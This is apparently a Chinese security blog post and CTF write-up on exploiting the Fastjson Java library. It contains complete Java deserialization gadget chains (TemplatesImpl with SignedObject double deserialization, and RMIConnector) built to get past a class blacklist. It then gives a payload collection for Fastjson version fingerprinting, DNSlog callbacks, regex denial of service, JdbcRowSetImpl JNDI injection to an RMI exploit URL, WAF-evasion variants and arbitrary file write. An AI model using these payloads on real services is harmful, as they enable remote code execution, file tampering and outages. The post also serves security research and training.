        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

存在的不足

如果重写的ObjectInputStream过滤templates,这样的方法就失效了。

private final List<Object> BLACKLIST = Arrays.asList("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter", "com.sun.syndication.feed.impl.ObjectBean", "import com.sun.syndication.feed.impl.ToStringBean");

解决方法 (二次反序列化)

二次反序列化条件:触发SignedObject#getObject

JsonObject#toString可以触发任意getter方法,而toString又可以通过BadAttributeValueExpException#readObject调用,因此整条链子就通了

* 绕过第一次的TemplatesImpl黑名单检查
    BadAttributeValueExpException#readObject
    JSONOBJECT#toString
    SignedObject#getObject
* 二次反序列化
    * 引用绕过JSON自带resolveClass的黑名单检查
        BadAttributeValueExpException#readObject
        JSONArray#toString
        TemplatesImpl#getOutputProperties
            TemplatesImpl#newTransformer
            TemplatesImpl#getTransletInstance
            TemplatesImpl#defineTransletClasses
            TemplatesImpl#defineClass

看完gadget思路就很清晰了

package fj;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;

public class dou_rev {
    public static void main(String[] args) throws Exception {
        ArrayList<Object> list = new ArrayList<>();
        TemplatesImpl templatesimpl = new TemplatesImpl();

        byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        list.add(templatesimpl);

        JSONArray jo = new JSONArray();
        jo.add(templatesimpl);

        BadAttributeValueExpException exp = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,jo);
        list.add(exp);
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject((Serializable) list, kp.getPrivate(), Signature.getInstance("DSA"));

        //触发SignedObject#getObject
        JSONArray jsonArray1 = new JSONArray();
        jsonArray1.add(signedObject);

        BadAttributeValueExpException bd1 = new BadAttributeValueExpException(null);
        val.set(bd1,jsonArray1);
        System.out.println(serial(bd1));
    }

    public static String serial(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

预期解

mybean 放在 JSONObject 当中就不会走题目自定义的 resolveClass,从而绕过黑名单

private JMXConnector conn;


public String getConnect() throws IOException {
      try {
         this.conn.connect();
         return "success";
      } catch (IOException var2) {
         return "fail";
      }
   }

可以用JMXConnectorconnect方法

思路就是fastjson#toString后到mybean调用getter,把当中的conn设置为RMIConnector

		JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
        setFieldValue(jmxServiceURL, "urlPath", "/stub/" + "base64");
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
        MyBean myBean = new MyBean("1","2",rmiConnector);

//        JSONArray jsonArray = new JSONArray();
//        jsonArray.add(myBean);

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("name",myBean);

        BadAttributeValueExpException bd= new BadAttributeValueExpException(null);
        setFieldValue(bd, "val", jsonObject);


        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(bd);

        //获取base64的arraylist
        String baseStr = Base64.getEncoder().encodeToString(barr.toByteArray());
        System.out.println(baseStr);

判断版本的方法

https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA

{"pageNumber":1,"pageSize":1}

加上一个不相关的键值

{"pageNumber":1,"pageSize":1,"test":1}

jackson就会报错,fastjson则不会,而是和之前一模一样。

比如经典的1.2.24-1.2.83都会有dnslog的payload。

{"zero":{"@type":"java.net.Inet4Address","val":"dnslog.com"}}

比如浅蓝发现的1.2.36-1.2.62正则DDOS。

逐步加a,直到延迟为止


{
    "regex":{
        "$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"
    },
    "blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
}

有报错信息,判断版本号

{"@type":"java.lang.AutoCloseable"
a
["test":1]

无报错信息,判断版本号

<1.2.24,没有任何限制。

1.2.24-1.2.47,java.lang.Class绕过。

1.2.48-1.2.68,java.lang.AutoCloseable绕过。

1.2.70-1.2.72,无链版本

1.2.73-1.2.80,java.lang.Exception绕过。

1.2.83,无漏洞版本

比如正常一个json传参。

{"page":{"pageNumber":1,"pageSize":1}}

fastjson允许不存在的键值,所以插入dnslog,payload。

{"page":{"pageNumber":1,"pageSize":1,{"zero":{"@type":"java.net.Inet4Address","val":"dnslog.com"}}}}

我们要做的就是将以下payload插入正常json传参即可

1.2.24 1.2.83

{"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}

1.2.24-1.2.68

{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}

1.2.24-1.2.47 (经典)


{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl"
    }
}

fastjson绕waf的骚操作

添加空白字符

默认会去除键、值外的空格、\b\n\r\f

添加多个逗号

{,,,,,,"@type":"com.sun.rowset.JdbcRowSetImpl",,,,,,"dataSourceName":"rmi://127.0.0.1:1099/Exploit",,,,,, "autoCommit":true}

@type后的值第一个引号可以替换为其他字符

{"@type":xcom.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}

编码绕过(Unicode/Hex)

对字段添加多个下划线或者减号

1.2.36版本前 (要么都用下划线,要么都用减号)

{"@type":"com.sun.rowset.JdbcRowSetImpl",'d_a_t_aSourceName':"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}

1.2.36版本及以后 (下划线、减号混用)

{"@type":"..","n_-ame":"y4"}

1.2.36版本后可以对属性前添加is

{"a": {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"b": {"@type": "com.sun.rowset.JdbcRowSetImpl","isdataSourceName": "rmi://127.0.0.1:1099/Exploit","isautoCommit": true}}

fastjson1.2.68 存在任意文件写入

{
    '@type':"java.lang.AutoCloseable",
    '@type':'sun.rmi.server.MarshalOutputStream',
    'out':
    {
        '@type':'java.util.zip.InflaterOutputStream',
        'out':
        {
           '@type':'java.io.FileOutputStream',
           'file':'dst',
           'append':false
        },
        'infl':
        {
            'input':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=='
        },
        'bufLen':1048576
    },
    'protocolVersion':1
}

FastJSON
https://zer0peach.github.io/2023/09/24/FastJSON/
作者
Zer0peach
发布于
2023年9月24日
许可协议